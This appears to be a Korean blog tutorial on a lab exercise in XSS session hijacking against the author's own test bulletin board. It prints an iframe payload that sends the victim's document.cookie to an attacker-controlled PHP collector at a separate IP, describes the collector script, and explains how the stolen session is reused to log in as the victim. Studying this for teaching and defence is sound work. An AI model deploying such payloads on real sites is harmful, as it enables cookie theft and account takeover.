Youngjin's Log

[XSS] 세션 가로채기(Session Hijacking) 본문

Web/Web Hacking Study

[XSS] 세션 가로채기(Session Hijacking)

Youngjin. 2018. 7. 25. 17:34

세션 가로채기(Session Hijacking)


실습은 반드시 실습자 본인의 모의해킹을 위해 만들어 놓은 게시판을 이용하시길 바랍니다.


실습 환경

Windows - 본인 실습게시판 서버

Ubuntu Linux - 가로챈 세션 값을 받기위한 본인 공격자 실습 서버, apache/php가 정상 작동해야 합니다.

admin2 - 공격대상

asd - 공격자



공격대상(admin2)이 접근할 디렉토리에 권한을 모두 접근할 수 있게 바꿔줍니다.



공격대상(admin2)이 접근하여 실행시킬 php코드를 작성해줍니다.


getsession.php 코드 분석

1번째 줄 : $cookies라는 변수에 GET방식으로 받은 값을 할당합니다.

2번째 줄 : fopen을 이용하여 getsession.txt파일을 a+(읽고 쓰기)권한으로 실행합니다. 파일이 없을 시에는 파일을 생성합니다.

3번째 줄 : 실행시킨 텍스트파일에 $cookies변수에 저장되어 있는 값을 추가합니다. 추가 후에는 ////를 기록하여 이후에 추가될 값과 구분합니다.

4번째 줄 : 파일 쓰기를 종료하고 파일을 닫습니다.


공격대상(admin2)이 로그인 되어 있습니다.


공격자(asd)도 로그인합니다.

원활한 실습을 위해서 서로 다른 브라우저를 이용합니다.

(예시 : admin2 - Explorer, asd - Chrome)


공격자(asd)는 게시판에 Javascrip을 포함한 글을 작성합니다.

위에 보이는 js는 내용을 아스키코드로 표현한 것입니다. 실제로 실습 중에 내부 php코드로 작성되지 않았던 js구문들도 아스키코드로 표현하여 작성되는 것들이 몇가지 있었으므로 이번 실습도 아스키코드를 이용하였습니다.

위에 구문은 여러가지 형태로 다르게 표현될 수 있습니다.

원래 구문 : <iframe src="javascript:location='http://172.31.12.48/session/getsession.php?data='+document.cookie" width=0 height=0 frameborder=0></iframe>

경로에서 공격자(asd)의 서버의 session디렉토리에 getsession.php파일로 쿠키값을 GET방식으로 보내는 구문입니다.

공격대상(admin2)이 이 게시글을 읽었을 때, 자신도 모르게 자신의 cookie값을 보낼 것입니다. cookie값에는 세션 값이 포함되어 있을 것입니다.

172.31.12.48은 본인의 Vmware서버입니다.


공격대상(admin2) 계정으로 게시글을 보니, 공격자(asd)가 올린 게시글을 확인할 수 있습니다.


공격대상(admin2)이 게시글을 읽었고, 당연히 iframe js구문을 제외하고는 아무런 내용도 입력하지 않았기 때문에 글의 내용은 확인 할 수 없습니다.


공격자(asd)의 서버를 확인해보니 getsession.txt파일이 생긴 것을 확인할 수 있습니다.


내용을 확인해 보니, 공격대상(admin2)의 cookie값을 확인 할 수 있습니다.


기존에 공격자(asd)의 세션 값입니다.


여기에 console을 이용하여 asd의 세션 값에 admin2의 세션 값을 입력합니다.

서버에 변경된 세션 값을 보내기 위해서 F5을 눌러서 새로고침을 해줍니다.


서버는 세션 값에 맞는 계정으로 응답하기 때문에 admin2가 자동으로 로그인 된 것을 확인 할 수 있습니다.


그리고 요청되는 쿠키 값을 확인해보니 공격대상(admin2)의 세션 값으로 요청하는 것을 확인 할 수 있습니다.


세션 값을 가로채기하여 admin2가 로그인을 유지하는 동안은 세션 값은 유지되기 때문에 admin2의 계정을 이용할 수 있으나, 누구라도 admin2의 계정을 로그아웃 하게 되면 세션 값은 파기 되기 때문에 두명의 사용자 모두 로그아웃 됩니다.


실습은 반드시 실습자 본인의 모의해킹을 위해 만들어 놓은 게시판을 이용하시길 바랍니다.

간단한 실습이기 때문에, php와 js을 이용하여 게시판을 만들어본 실습자이시라면 실습에 큰 문제가 없을 것이라 생각됩니다.

Comments